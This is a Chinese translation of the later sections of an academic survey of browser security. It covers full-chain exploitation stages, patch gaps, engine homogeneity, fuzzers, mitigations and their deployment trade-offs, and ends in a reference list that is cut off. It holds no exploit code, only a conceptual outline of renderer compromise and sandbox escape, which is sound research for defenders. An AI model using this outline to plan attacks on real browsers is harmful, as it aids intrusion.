我们总结的Pwn2Own示例是具体但有影响力的。基于此，我们以更通用的方式描述全链浏览器利用。首先，要找到渲染器中的漏洞，可以利用模糊测试技术[122]、[125]、[182]或手动审核浏览器源代码。发现可利用的错误将是最具挑战性的步骤之一。发现此类漏洞后，下一步是在渲染器进程上下文中实现任意代码执行原语。然而，控制渲染器只是一个开始，因为渲染器受到沙盒机制的限制。为了突破沙盒，攻击者通常针对浏览器进程、操作系统内核或IPC协议中的缺陷。与攻击渲染器不同，沙盒逃逸通常需要针对多个系统组件链接高级逻辑漏洞。一旦沙盒逃逸，攻击者就可以执行与浏览器同等安全级别的任意程序，实现全链攻击。
## VI. 讨论
在本节中，我们将讨论与浏览器安全相关的几个方面。附录中有更多讨论。
### A. 补丁间隙问题
由于存在公共存储库和问题跟踪器，开源浏览器中的补丁可以先公开，早于新版本完成发布并提供给最终用户，从而使攻击者能够评估补丁的可利用性。例如，iOS
Safari由于1.5个月的补丁间隙而被利用[193]。为了缩小间隙，Chrome引入了每两周一次的安全更新，并将发布周期从六周缩短到四周[78]。Firefox在发布[173]、[193]之前阻止将安全修复推送到存储库，并建议不要在补丁提交中包含漏洞信息[173]。
### B. 浏览器引擎的同质性
许多"次级浏览器"使用与领先浏览器相同的浏览器引擎（例如，Chrome
V8）。因此，一个浏览器引擎中的漏洞可能会影响公用引擎的其他浏览器。在最受欢迎的15款浏览器
[206]中，有11款基于Chrome的引擎（包括Microsoft
Edge[136]），如表V所示。当新版本的Chrome发布并修复bug时，它不会立即应用于次级浏览器，次级浏览器融合它们之前存在一个时间间隔。
表V: 浏览器引擎的同质性。一些浏览器提供多个引擎以确保网页的兼容性，或顺应特定平台要求（例如iOS上的WebKit）[69]。
根据次级浏览器的发布历史，在应用发布的安全补丁之前存在时间间隔，这为攻击者提供了一个攻击窗口。例如，一个WebKit漏洞在被报告给WebKit错误跟踪器[29]数月后还可以在PlayStation固件上被利用。这也是Android中的一个问题，其中应用程序附带捆绑的渲染引擎，例如，在向Chromium[7]报告大约一个月后，三星浏览器(Samsung
Internet)[6]上报告了一个UXSS漏洞。Apple通过强制所有应用程序使用操作系统提供的WebKit库并拒绝其App
Store[69]中的不合规应用程序来解决iOS中的这个问题。
此外，渲染器和JavaScript引擎等Web浏览器组件的使用进一步扩展到使用Electron和Android
WebView等框架的应用程序。此外，Node.js[56]和Deno[47]使用Google的V8引擎在浏览器上下文之外启用JavaScript（例如，用于实现Web服务器）。因此，浏览器引擎的漏洞和漏洞利用不仅会影响浏览器本身，对更好的防御机制以避免灾难性后果的需求也扩大了。
Lession 7: 浏览器引擎的同质性造成了严重的问题；需要更好的修补方法。由于浏览器引擎的同质性，一个浏览器引擎中的漏洞会影响其他许多浏览器和应用程序。我们建议领先的浏览器（如Chrome）将其JavaScript引擎作为共享库提供给其他应用程序使用，以便通过无线更新更容易地部署补丁，而不是手动集成补丁。
### C. 漏洞发现工具
人们已经做出许多努力来开发用于发现浏览器引擎错误的最新的工具，这些工具主要可以分为两类：`模糊测试`和`静态分析`。
`模糊测试(Fuzzing)`:
Fuzzing是发现bug的最有效策略之一，自2012年以来一直有被应用于发现浏览器bug。我们在表VI（附录）中总结了过去十年中有关浏览器fuzzer的论文，其中包括他们在Chrome中发现的bug统计信息、Firefox、Safari和Edge（基于ChakraCore和V8），以及它们的关键技术。这些模糊器在两种经典模式之间进行选择：突变模糊测试（mutational
fuzzing，例如，Montage[143]）和生成模糊测试（generational
fuzzing，例如，CodeAlchemist[122]）。一些模糊器，如Lang-Fuzz[125]和DIE[182]，利用了两种模式的混合以及覆盖反馈(coverage
feedback)。构建像DIE[182]和LangFuzz[125]这样的句法和语义感知输入对于产生更多的崩溃很有用。一些关于模糊浏览器的产业性的努力在发现复杂的浏览器漏洞方面非常有效。例如，ClusterFuzz[111]在超过25,000个核心[109]上运行，并在Chrome中发现了超过29,000个漏洞[110]。
`静态分析(Static analysis)`:
最近，在以fuzzing为主导的浏览器漏洞挖掘领域出现了另一项工作。SYS[82]是首个用于在浏览器代码中查找错误的"静态/符号"工具，静态分析可以通过将浏览器的巨大代码库分解成小块来扩展它们。具体来说，SYS使用静态检查器来查找潜在的漏洞位置，然后使用它们的可扩展符号执行(extensible
symbolic execution)来分析这些漏洞位置。因此，SYS在通过静态分析发现浏览器bug领域为未来的工作指明了一个很好的方向。
Lession 8：自动化漏洞挖掘很棒，但仍需要改进。
业界最先进的模糊器在捕获浏览器中的漏洞方面做得很好。然而，尽管它们的性能很好，但这些工具仍然无法替代手动审计，而手动审计仍然是发现复杂逻辑漏洞的主要方法。因此，学术界和行业内都需要更先进的漏洞挖掘技术。
### D. 主动应对措施
大多数现有的缓解措施都是被动的，这意味着它们是在发现漏洞后实施的，这还不够好。如果可以在攻击发生之前采取措施（主动方法），那将是理想的，这可以击败未知威胁。例如，站点隔离[186]最初旨在使用进程外iframe缓解UXSS攻击，但它也有助于击败Spectre/Meltdown攻击，这是研究人员在站点隔离项目开始很久后发现的。这是应对未知威胁的主动方法的一个很好的例子。
在应对漏洞利用的游戏中，防御者永远无法击败攻击者，因为防御者的行为对攻击者是透明的。供应商可以通过秘密部署新的应对措施来改变这种情况，例如，在安全浏览基础设施的沙箱中。这还可以通过收集极有可能是恶意的样本来帮助检测在野漏洞并修补错误。此外，供应商可以尝试更积极的应对措施，这些措施可能会影响此类环境中的用户体验。例如，如果在发布公告之前就将StructureID随机化(§III-D)部署在安全浏览沙箱中，则大多数涉及fakeobj原语的JIT漏洞都会被检测到。
## VII. 结论
在本文中，我们呈现了第一个浏览器安全
SoK。我们首先提供了一个统一的模型来研究四大浏览器的安全设计，并提出了一个为期10年的浏览器漏洞纵向研究来研究趋势。然后我们介绍突出的漏洞类型，并提出最先进的应对措施。我们还详细研究了Pwn2Own
2020的真实世界全链漏洞利用。本文阐明了浏览器安全领域，并提出了一些关键要点，可以启发研究人员和浏览器供应商了解未来提高浏览器安全性的方向。
* * *
## 附录
### A. 漏洞挖掘工具
我们在表VI中总结了过去十年中有关浏览器模糊器的论文。
表VI: 浏览器引擎模糊器的比较
Fuzzer | Year | C+E† | FF | S | E‡ | G | M | SM | SN | Cov | OS | 关键技术
---|---|---|---|---|---|---|---|---|---|---|---|---
SoFi [124] | 2021 | 1 | 5 | 1 | 18 | × | √ | √ | √ | √ | × |
使用细粒度的程序分析和修复策略来生成语义上有效的输入
Token-Level Fuzzing [191] | 2021 | 16 | 3 | 4 | 6 | × | √ | × | × | √ | × |
通过更改或替换整个单词在token-level应用突变
Favocado [91] | 2021 | 8 | NA | 5 | NA | × | √ | √ | √ | × | √ |
根据语义信息生成测试用例，并跟踪状态突变
DIE [182] | 2020 | 4 | NA | 16 | 28 | √ | √ | √ | √ | √ | √ |
保留有益的特性和条件，被称为aspects across mutation
FREEDOM [227] | 2020 | 4 | 5 | 13 | NA | √ | √ | √ | √ | √ | √ | 使用定制的IR(FD-IR)来描述HTML文档和定义突变
Montage [143] | 2020 | 1 | 0 | 2 | 34 | × | √ | √ | √ | × | √ | 将JS
AST转换为序列以训练神经网络语言模型(Neural Network Language Models)
Nautilus [70] | 2019 | NA | NA | NA | 2 | × | √ | × | √ | √ | √ |
将基于语法的输入生成与覆盖反馈(coverage feedback)相结合
Deity [145] | 2019 | NA | NA | 1 | 1 | √ | √ | × | √ | √ | √ |
使用以前已知的bug和PoC生成基于语法的JS代码
Superion [220] | 2019 | NA | NA | 16 | 3 | × | √ | × | √ | √ | √ |
使用基于树和字典的变异对语法感知(grammar-aware)测试输入进行修剪
CodeAlchemist [122] | 2019 | 2 | NA | 10 | 7 | √ | × | √ | √ | × | √ |
使用约束标记代码块，定义何时与其他代码块组合
LangFuzz [125] | 2012 | 11 | 20 | NA | NA | √ | √ | √ | √ | × | × |
生成语法感知测试输入，并利用以前已知的错误程序
G: Generational 生成(模糊测试样本)
M: Mutational 变异(模糊测试样本)
SM: Semantic Aware (语义感知)
SN: Syntactic Aware (语法/词法感知)
Cov: Coverage Feedback 代码覆盖率反馈
OS: Open Source 开源
C: Chrome
FF: Firefox
E†: : 基于V8引擎的Edge
E‡ : 基于ChakraCore引擎的Edge
### B. 浏览器隐私保护
网络浏览中最令人担忧的隐私泄露内容之一是用户的IP地址。由于Web服务器可以轻松收集和存储IP，因此可以根据网络环境（例如NAT）以精细的粒度立即公开用户的地理位置。Tor浏览器[213]使用洋葱协议解决了这个问题，该协议使用Tor网络中的多个随机节点重新路由用户的连接，并且每个节点不能同时知道用户的身份（IP）和目的地。然而，通过观察加密的网络数据包序列[181]、[199]，仍然可以通过网站指纹技术破坏隐私。另一种浏览器Brave[203]通过删除网站中包含的所有广告和广告跟踪器来阻止网站跟踪用户，但用户的浏览历史仍然可能被泄露[214]、[223]。
### C. 插件和扩展
插件和扩展是通过提供多种功能来定制浏览器功能的小型软件程序。Java和Flash等插件在网页上下文中运行，而扩展程序将附加功能附加到浏览器。尽管它们有好处，但插件是浏览器不稳定的主要来源[8]、[9]。插件还使渲染器进程的沙箱化变得不切实际，因为插件是由第三方编写的，浏览器供应商无法控制他们对操作系统的访问。此外，扩展在浏览器中具有特殊权限，使它们成为攻击者眼中有吸引力的目标[10]-[12]。
`NPAPI插件`。
NPAPI允许浏览器供应商开发具有通用接口的插件。当浏览器访问具有未知内容类型的页面时，它会搜索并加载可用插件来委派内容处理。因此，攻击者可以通过为网页分配特定的内容类型来触发漏洞，从而欺骗浏览器加载具有漏洞的特定插件。利用NPAPI插件的攻击在不同的浏览器和平台上很普遍，特别是在Java、Flash和PDF[163]上。为了应对这个问题，浏览器将插件进程与浏览器的主进程分开，即进程外插件缓解(out-of-process plugin
mitigation)[170]、[188]。但是，插件仍然可以用于浏览器利用，并被指责为性能下降、浏览器崩溃的原因。最后，所有浏览器都停止了对NPAPI插件的支持[169]。
### D. 部署应对措施的难度
浏览器供应商很难部署应对措施，原因如下：
a. `兼容性`:
第三方代码（例如浏览器插件）依赖于浏览器代码才能正常运行。在引入浏览器缓解措施时，可能会破坏浏览器供应商无法控制的第三方代码。例如，当尝试在Windows中为Chrome的Pepper
Plugin API(PPAPI)引入Win32k锁定时，在Windows
8.1及更低版本上应用补丁时存在稳定性问题，Chrome团队无法追踪[130]，影响Flash、PDFium和Widevine等插件。因此，PPAPI
Win32k锁定仅针对Windows 10而非Windows 8/8.1启用以避免稳定性问题。
b. `性能`:
添加安全缓解措施的成本很高。为了减轻安全威胁，浏览器供应商有时会选择以性能换取安全，反之亦然。例如，2018年初在所有现代浏览器中禁用SharedArrayBuffer(SAB)作为Spectre攻击的对策，正如§IV-D中所讨论的那样，极大地危害了性能，因为SAB最初旨在实现worker之间的轻量级同步[76] .
c. `安全`:
更多的代码通常意味着更多的安全漏洞。通常，引入缓解措施或补丁会增加攻击面。在为浏览器部署新补丁后，浏览器供应商通常会寻找漏洞报告以尽快解决新的安全问题。例如，Firefox单独为主动应对措施中的安全漏洞推出了一类全新的漏洞奖励[215]。
`还原的缓解措施`:
一些缓解措施被临时部署以处理即时威胁，同时开发更好的缓解措施。例如，在上面提到的SAB案例中，在引入更强大的应对措施（即站点隔离和COOP/COEP）后不久，Chrome和Firefox重新启用了SAB[27]、[172]。
尽管尽了所有努力来确保缓解措施是安全的、高性能的和兼容的，但有时缓解措施由于它们带来的一些严重后果而不得不撤销。例如，在表IV中，Chrome内置的XSS过滤器XSS
Auditor[72]遭受了许多安全副作用，导致其在2019年退役[207]。
* * *
## 参考链接
[1] CVE-2003-1048. Double free vulnerability in mshtml.dll.
[2] CVE-2006-5579. Access of previously freed memory in Internet Explorer 6.
[3] CVE-2011-3046. Universal XSS in Chromium with largest reward amount
($60k).
[4] CVE-2013-6632. Memory corruption leads to sandbox escape in Chrome
browser.
[5] CVE-2016-4622. Remote code execution on WebKit.
[6] CVE-2017-17859. SOP Bypass on Samsung Internet referred as CVE-2017-5124
in Chromium Engine.
[7] CVE-2017-5124. SOP Bypass on Google Chrome.
[8] CVE-2019-5647. Insufficient Session Expiration in Chrome Plugin.
[9] CVE-2019-6481. Second-Factor Auth Bypass in Chrome Plugin.
[10] CVE-2020-15655. Bypass same-origin policy in Firefox extension.
[11] CVE-2020-6554. Use After Free in Chrome extension.
[12] CVE-2020-6809. Arbitrary read on local files in Firefox extension.
[13] CVE-2021-1879. UXSS in Webkit iOS 14.4.2 and iPadOS 14.4.2.
[14] CVE-2021-34506. Microsoft Edge (Chromium-based) Security Feature Bypass
Vulnerability.
[15] gcmole. https://github.com/v8/v8/tree/master/tools/gcmole.
[16] Languages - Chromium (Google Chrome).
https://www.openhub.net/p/chrome/analyses/latest/languages_summary.
[17] Microsoft unveils ‘Super Duper Secure Mode’ in latest version of Edge.
https://portswigger.net/daily-swig/microsoft-unveils-super-duper-secure-mode-in-latest-version-of-edge.
[18] Restricted Tokens - Win32 apps. https://docs.microsoft.com/en-us/windows/win32/secauthz/restricted- tokens.
[19] Super Duper Secure Mode.
https://microsoftedge.github.io/edgevr/posts/Super- Duper- Secure- Mode/.
[20] SELinux leaked file descriptor, 2010. https://bugzilla.redhat.com/show_
bug.cgi?id=581256.
[21] Add an option to mark JIT pages as non-writable.
https://bugzilla.mozilla.org/show_bug.cgi?id=977805, 2014.
[22] Reduce resolution of performance.now to prevent timing attacks.
https://bugs.chromium.org/p/chromium/issues/detail?id=506723, 2015.
[23] Add New Process Mitigation Policies for Win10+.
https://bugs.chromium.org/p/chromium/issues/detail?id=504006, 2016.
[24] Security: Block GPU Process Opening Renderer Processes.
https://bugs.chromium.org/p/chromium/issues/detail?id=596862, 2016.
[25] Enable new FORCE_MS_SIGNED mitigation, 2017.
https://bugs.chromium.org/p/chromium/issues/detail?id=750886.
[26] Off-by-one causes JIT optimization error, 2017.
https://bugs.chromium.org/p/chromium/issues/detail?id=762874.
[27] Re-enable sharedarraybuffer + atomics.
https://bugs.chromium.org/p/chromium/issues/detail?id=821270, 2018.
[28] Sandbox the network service on Windows, 2018.
https://bugs.chromium.org/p/chromium/issues/detail?id=841001.
[29] setAttributeNodeNS UAF Write-up. https://github.com/Cryptogenic/Exploit-Writeups/blob/master/WebKit/setAttributeNodeNS%20UAF%20Write-up.md, 2018.
[30] ChakraCore, The core part of the Chakra JavaScript engine that powers
Microsoft Edge, 2019. https://github.com/microsoft/ChakraCore.
[31] Comply with new security requirements for Chrome, 2019.
https://github.com/uBlockOrigin/uBlock-issues/issues/710.
[32] Enable ACG for jitless v8 in pdfium, 2019.
https://bugs.chromium.org/p/chromium/issues/detail?id=961831.
[33] JavaScriptCore, The built-in JavaScript engine for WebKit, 2019.
https://trac.webkit.org/wiki/JavaScriptCore.
[34] SpiderMonkey, JavaScript engine for Mozilla products, including Firefox,
2019. https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey.
[35] UXSS bug found in Lastpass, 2019.
https://blog.lastpass.com/2019/09/lastpass-bug-reported-resolved/.
[36] V8, Open source JavaScript and WebAssembly engine for Chrome and Node.js,
2019. https://v8.dev/.
[37] 2020. Incorrect JIT modeling in WebKit that leads to type confusion.
[38] Add support for random restricted SID. https://chromium-review.googlesource.com/c/chromium/src/+/2085751, 2020.
[39] The Chromium Projects. Site Isolation, 2020.
https://www.chromium.org/Home/chromium-security/site-isolation.
[40] Zero Day Initiative - Pwn2Own Returns to Vancouver for 2020.
https://www.zerodayinitiative.com/blog/2020/1/8/pwn2own-returns-to-vancouver-for-2020, 2020.
[41] Bypassing ASLR using Oilpan’s conservative garbage collector.
https://bugs.chromium.org/p/chromium/issues/detail?id=1144662, 2021.
[42] Can I use... Support tables for HTML5, CSS3, etc. https://caniuse.com/,
2021.
[43] Chromium Bug Tracker, 2021.
https://bugs.chromium.org/p/chromium/issues/list.
[44] Chromium Security - The Chromium Projects, 2021.
https://www.chromium.org/Home/chromium- security.
[45] Chromium source code, 2021.
https://chromium.googlesource.com/chromium/src.
[46] Common Vulnerability Scoring System SIG, 2021.
https://www.first.org/cvss/.
[47] Deno - A modern runtime for JavaScript and TypeScript, 2021.
https://deno.land/.
[48] Firefox Bugzilla, 2021. https://bugzilla.mozilla.org/home.
[49] Google’s Project Zero bug tracker, 2021.
https://bugs.chromium.org/p/project- zero/issues/list?q=&can=1.
[50] Memory Safety in Chromium, 2021. https://www.chromium.org/Home/chromium-security/memory- safety.
[51] Modern security protection for vulnerable legacy apps, 2021.
https://docs.microsoft.com/en-us/deployedge/microsoft-edge-security-iemode-safer-than-ie.
[52] Mozilla Firefox source code, 2021. https://hg.mozilla.org/.
[53] Mozilla Foundation Security Advisories, 2021. https://www.mozilla.org/en-US/security/advisories/.
[54] Mozilla Security Blog, 2021. https://blog.mozilla.org/security/.
[55] National Vulnerability Database, 2021. https://nvd.nist.gov/.
[56] Node.js, 2021. https://nodejs.org/en/.
[57] Oxidation, 2021. https://wiki.mozilla.org/Oxidation.
[58] Project Zero: 0day "In the Wild", 2021.
https://googleprojectzero.blogspot.com/p/0day.html.
[59] Smart Pointer Guidelines in Firefox, 2021. https://firefox-source-docs.mozilla.org/dom/workersAndStorage/CodeStyle.html#plain- pointers.
[60] V8 source code, 2021. https://chromium.googlesource.com/v8/v8.
[61] Zero Day Initiative - Published advisories, 2021.
https://www.zerodayinitiative.com/advisories/published/.
[62] Martín Abadi, Mihai Budiu, Ulfar Erlingsson, and Jay Ligatti. Control-flow integrity principles, implementations, and applications. TISSEC09.
[63] Ayush Agarwal, Sioli O’Connell, Jason Kim, Shaked Yehezkel, Daniel
Genkin, Eyal Ronen, and Yuval Yarom. Spook.js: Attacking chrome strict site
isolation via speculative execution. In SP22.
[64] Marc Andrysco, David Kohlbrenner, Keaton Mowery, Ranjit Jhala, Sorin
Lerner, and Hovav Shacham. On subnormal floating point and abnormal timing. In
SP15.
[65] Apple. Changeset 160983 in webkit.
https://trac.webkit.org/changeset/160983/webkit, 2013.
[66] Apple. Changeset 186208 in webkit for
trunk/source/webcore/page/performance.cpp.
http://trac.webkit.org/changeset/186208/webkit/trunk/
Source/WebCore/page/Performance.cpp, 2015.
[67] Apple. Changeset 253098 in webkit.
https://trac.webkit.org/changeset/253098/webkit, 2015.
[68] Apple. Allow Execution of JIT-compiled Code Entitlement, 2018.
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit.
[69] Apple. App Store Review Guidelines. https://developer.apple.com/app-store/review/guidelines/, 2020.
[70] Cornelius Aschermann, Tommaso Frassetto, Thorsten Holz, Patrick Jauernig,
Ahmad-Reza Sadeghi, and Daniel Teuchert. Nautilus: Fishing for deep bugs with
grammars. In NDSS19.
[71] Michalis Athanasakis, Elias Athanasopoulos, Michalis Polychronakis,
Georgios Portokalidis, and Sotiris Ioannidis. The devil is in the constants:
Bypassing defenses in browser jit engines. In NDSS15.
[72] Daniel Bates, Adam Barth, and Collin Jackson. Regular expressions
considered harmful in client-side xss filters. In WWW10.
[73] Niklas Baumstark. Compressing Type Information in Modern C Programs using
Type Isolation, 2019.
[74] Eric W Biederman and Linux Networx. Multiple instances of the global
linux namespaces. In Proceedings of the Linux Symposium.
[75] Dionysus Blazakis. The apple sandbox. In Black Hat DC 11.
[76] blink-dev Google Groups. Intent to implement: Shared array buffers.
https://groups.google.com/a/chromium.org/g/blink-dev/c/d-0ibJwCS24, 2015.
[77] Google Chromium Blog. Recent Site Isolation improvements.
https://blog.chromium.org/2019/10/recent-site-isolation-improvements.html,
2019.
[78] Google Chromium Blog. Speeding up Chrome’s release cycle.
https://blog.chromium.org/2021/03/speeding-up-release-cycle.html, 2021.
[79] Google Security Blog. An update on memory safety in chrome.
https://security.googleblog.com/2021/09/an-update-on-memory-safety-in-chrome.html, 2021.
[80] Hans-Juergen Boehm and Mark Weiser. Garbage collection in an
uncooperative environment. Software: Practice and Experience.
[81] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida. Dedup est machina: Memory
deduplication as an advanced exploitation vector. In SP16.
[82] FraserBrown,DeianStefan,andDawsonEngler.Sys:Astatic/symbolic tool for
finding good bugs in good (browser) code. In USENIX Security 20.
[83] Sam Brown. Some brief notes on webkit heap hardening.
https://labs.f-secure.com/archive/some-brief-notes-on-webkit-heap-hardening/,
2018.
[84] Yinzhi Cao, Zhanhao Chen, Song Li, and Shujiang Wu. Deterministic
browser. In CCS17.
[85] R. Chris. Partitionalloc - a shallow dive and some rand, 2016.
https://struct.github.io/.
[86] Chromium. Clamp performance.now() to 100us. https://chromium-review.googlesource.com/c/chromium/src/+/853505, 2018.
[87] Chromium. Security: Constant blinding bypass via Wasm, 2020.
[88] ComputerWorld. Browser makers build bulwarks to stump spectre attacks.
https://www.computerworld.com/article/3246210/browser-makers-build-bulwarks-to-stump-spectre-attacks.html, 2018.
[89] Crispin Cowan. Strengthening the Microsoft Edge Sandbox, 2017.
[90] Cure53. Cure53 Browser Security White Paper.
https://github.com/cure53/browser-sec-whitepaper, 2017.
[91] Sung Ta Dinh, Haehyun Cho, Kyle Martin, Adam Oest, Kyle Zeng, Alexandros
Kapravelos, Gail-Joon Ahn, Tiffany Bao, Ruoyu Wang, Adam Doupé, et al.
Favocado: Fuzzing the binding code of javascript engines using semantically
correct test cases.
[92] MDN Web Docs. Cross-origin-embedder-policy.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Embedder-Policy, 2021.
[93] MDN Web Docs. Cross-origin-opener-policy.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy, 2021.
[94] MDN Web Docs. Same-origin policy. https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy, 2021.
[95] eEye Digital Security. Microsoft Internet Information Services Remote
Buffer Overflow, 2001.
[96] Filip Pizlo. Introducing Riptide: WebKit’s Retreating Wavefront
Concurrent Garbage Collector. 2017.
[97] Filip Pizlo. What Spectre and Meltdown Mean For WebKit. 2018.
[98] Firefox. Always poison deallocated objects in the frame arena, 2009.
https://bugzilla.mozilla.org/show_bug.cgi?id=497495.
[99] Firefox. Exact stack rooting, 2014. https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals/GC/Exact_Stack_Rooting.
[100] Firefox. [meta] store content-controlled buffers in a separate heap,
2014. https://bugzilla.mozilla.org/show_bug.cgi?id=1052575.
[101] Firefox. Implement win/osx sandboxing for new RDD process, 2018.
https://bugzilla.mozilla.org/show_bug.cgi?id=1498624.
[102] Firefox. Enable Code Integrity Guard on RDD Process, 2019.
https://bugzilla.mozilla.org/show_bug.cgi?id=1563774.
[103] Fortinet. Microsoft MSHTML Remote Code Execution Vulnerability Exploited
in the Wild (CVE-2021-40444). https://www.fortinet.com/blog/threat-research/microsoft-mshtml-remote-code-execution-vulnerability-exploited-in-wild-cve-2021-40444, 2021.
[104] Ivan Fratric. Dude, where’s my heap? 2015.
[105] Pietro Frigo, Cristiano Giuffrida, Herbert Bos, and Kaveh Razavi. Grand
pwning unit: Accelerating microarchitectural attacks with the gpu. In SP18.
[106] Robert Gawlik and Thorsten Holz. Sok: Make jit-spray great again. In
WOOT18. [107] Guang Gong. Security: Pwn2Own mobile case, out-of-bound access
in json stringifier. In Chromium Bug Tracker, 2015.
[108] Guang Gong. Pwn a nexus device with a single vulnerability. In
CanSecWest, 2016.
[109] Google. Open sourcing clusterfuzz.
https://security.googleblog.com/2019/02/open-sourcing-clusterfuzz.html.
[110] Google. Scalable fuzzing infrastructure.
https://github.com/google/clusterfuzz.
[111] Google. Clusterfuzz. https://google.github.io/clusterfuzz/, 2015.
[112] Google. Google C Style Guide, 2017.
[113] Google. Torque: Applying leverage to the CodeStubAssembler, 2018.
[114] Google. Chrome - Mitigating Side-Channel Attacks, 2019.
https://www.chromium.org/Home/chromium-security/ssca.
[115] Google. GWP-ASan: Sampling heap memory error detection in-the-wild.
https://sites.google.com/a/chromium.org/dev/Home/chromium-security/articles/gwp-asan, 2019.
[116] Google. Chrome Vulnerability Reward Program Rules. https://www.
google.com/about/appsecurity/chrome-rewards/, 2021.
[117] Google. Chromium design docs - sandboxing.
https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/design/sandbox.md,
2021.
[118] Google. wasm: Write-protection of generated code with PKEYs/PKU, 2021.
[119] Google Chrome Team. V8 Heap Sandbox - High-Level Design Doc.
https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/,
2021.
[120] Samuel Groβ. Pwn2Own 2018: Safari + macOS, 2018.
https://github.com/saelo/pwn2own2018.
[121] SamuelGroβandProjectZero.Jitsploitationii:Gettingread/write.
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html, 2020.
[122] HyungSeok Han, DongHyeon Oh, and Sang Kil Cha. Codealchemist: Semantics-aware code generation to find vulnerabilities in javascript engines. In
NDSS19.
[123] Abdul-Aziz Hariri, Brian Gorenc, and Simon Zuckerbraun. Abusing Silent
Mitigations: Understanding weaknesses within Internet Explorer’s Isolated Heap
and MemoryProtection. In Black Hat USA 15.
[124] Xiaoyu He, Xiaofei Xie, Yuekang Li, Jianwen Sun, Feng Li, Wei Zou, Yang
Liu, Lei Yu, Jianhua Zhou, Wenchang Shi, and Wei Huo. Sofi: Reflection-augmented fuzzing for javascript engines. In CCS21.
[125] Christian Holler, Kim Herzig, and Andreas Zeller. Fuzzing with code
fragments. In USENIX Security 12.
[126] Andrei Homescu, Stefan Brunthaler, Per Larsen, and Michael Franz.
Librando: transparent code randomization for just-in-time compilers. In CCS13.
[127] Jann Horn. Mozilla Foundation Security Advisory 2018-01, 2018.
https://www.mozilla.org/en-US/security/advisories/mfsa2018-01/.
[128] Intel. Intel® 64 and IA-32 Architectures Software Developer Manuals,
2021.
[129] Ivan Fratric. Domato - DOM fuzzer.
https://github.com/googleprojectzero/domato, 2017.
[130] James Forshaw. Breaking the Chain.
https://googleprojectzero.blogspot.com/2016/11/breaking-chain.html, 2016.
[131] Artur Janc, Charlie Reis, and Anne van Kesteren. Coop and coep
explained.
https://docs.google.com/document/d/1zDlfvfTJ_9e8Jdc8ehuV4zMEu9ySMCiTGMS9y0GU92k,
2020.
[132] Jeff Aboud. Why You Need to Stop Using CVSS for Vulnerability
Prioritization. https://www.tenable.com/blog/why-you-need-to-stop-using-cvss-for-vulnerability-prioritization, 2020.
[133] Jeremy Fetiveau. Circumventing Chrome’s hardening of typer bugs.
https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/.
[134] Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim. Compromising the
macOS kernel through Safari by chaining six vulnerabilities. In Black Hat USA
20.
[135] Zihao Jin, Ziqiao Kong, Shuo Chen, and Haixin Duan. Timing-based
browsing privacy vulnerabilities via site isolation. In SP22.
[136] Joe Belfiore and Windows Experience Blog. Microsoft Edge: Making the web
better through more open source collaboration, 2018.
[137] Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner
Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, et al.
Spectre attacks: Exploiting speculative execution. In SP19.
[138] David Kohlbrenner and Hovav Shacham. Trusted browsers for uncertain
times. In USENIX Security 16.
[139] Ivan Krstic. Behind the scenes of ios and mac security. In Black Hat USA
16.
[140] Ivan Krstic. App sandbox and the mac app store. In WWDC 2011, 2011.
https://developer.apple.com/videos/play/wwdc2011/204/.
[141] The Citizen Lab. The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights De- fender.
https://citizenlab.ca/2016/08/million- dollar- dissident- iphone- zero-day-nso-group-uae/, 2016.
[142] Sangho Lee, Youngsok Kim, Jangwoo Kim, and Jong Kim. Stealing webpages
rendered on your browser by exploiting gpu vulnerabilities. In SP14.
[143] Suyoung Lee, HyungSeok Han, Sang Kil Cha, and Sooel Son. Montage: A
neural network language model-guided javascript engine fuzzer. In USENIX
Security 20.
[144] Wilson Lian, Hovav Shacham, and Stefan Savage. A call to arms:
Understanding the costs and benefits of jit spraying mitigations. In NDSS,
2017.
[145] Hongyang Lin, Junhu Zhu, Jianshan Peng, and Dixia Zhu. Deity: Finding
deep rooted bugs in javascript engines. In ICCT19.
[146] Linux. Seccomp BPF (SECure COMPuting with filters). 2012.
[147] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner
Haas, Anders Fogh, Jann Horn, Stefan Mangard, Paul Kocher, Daniel Genkin, et
al. Meltdown: Reading kernel memory from user space. In USENIX Security 18.
[148] LLVM Project. Scudo Hardened Allocator. https://llvm.org/docs/
ScudoHardenedAllocator.html, 2019.
[149] ARM LTD. ARMv8 architecture reference manual, for ARMv8-A architecture
profile (ARM DDI 0487C.a). 2017.
[150] Mads Ager and Erik Corry and Vyacheslav Egorov and Kentaro Hara and
Gustav Wibling and Ian Zerny. Oilpan: Tracing garbage collection for blink.
2013.
[151] Adrian Marinescu. Windows vista heap management enhancements: Security,
reliability and performance. In Black Hat USA 06.
[152] Mark Brand and Sergei Glazunov and Project Zero. Analysis of CVE-2020-16010: Chrome for Android ConvertToJavaBitmap Heap Buffer Overflow.
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-16010.html, 2021.
[153] Mathias Bynens. Elements kinds in V8, 2017.
[154] Mathias Bynens. JavaScript engine fundamentals: Shapes and Inline
Caches, 2018.
[155] Matt Molinyawe, Abdul-Aziz Hariri, Jasiel Spelman. $hell on Earth: From
Browser to System Compromise. In Black Hat USA 16.
[156] McAfee Labs. Don’t Substitute CVSS for Risk: Scoring System Inflates
Importance of CVE-2017-3735. https://www.mcafee.com/blogs/other- blogs/mcafee-labs/dont- substitute- cvss- for- risk- scoring- system- inflates-importance-of-cve-2017-3735/, 2017.
[157] Ross Mcilroy, Jaroslav Sevcik, Tobias Tebbi, Ben L Titzer, and Toon
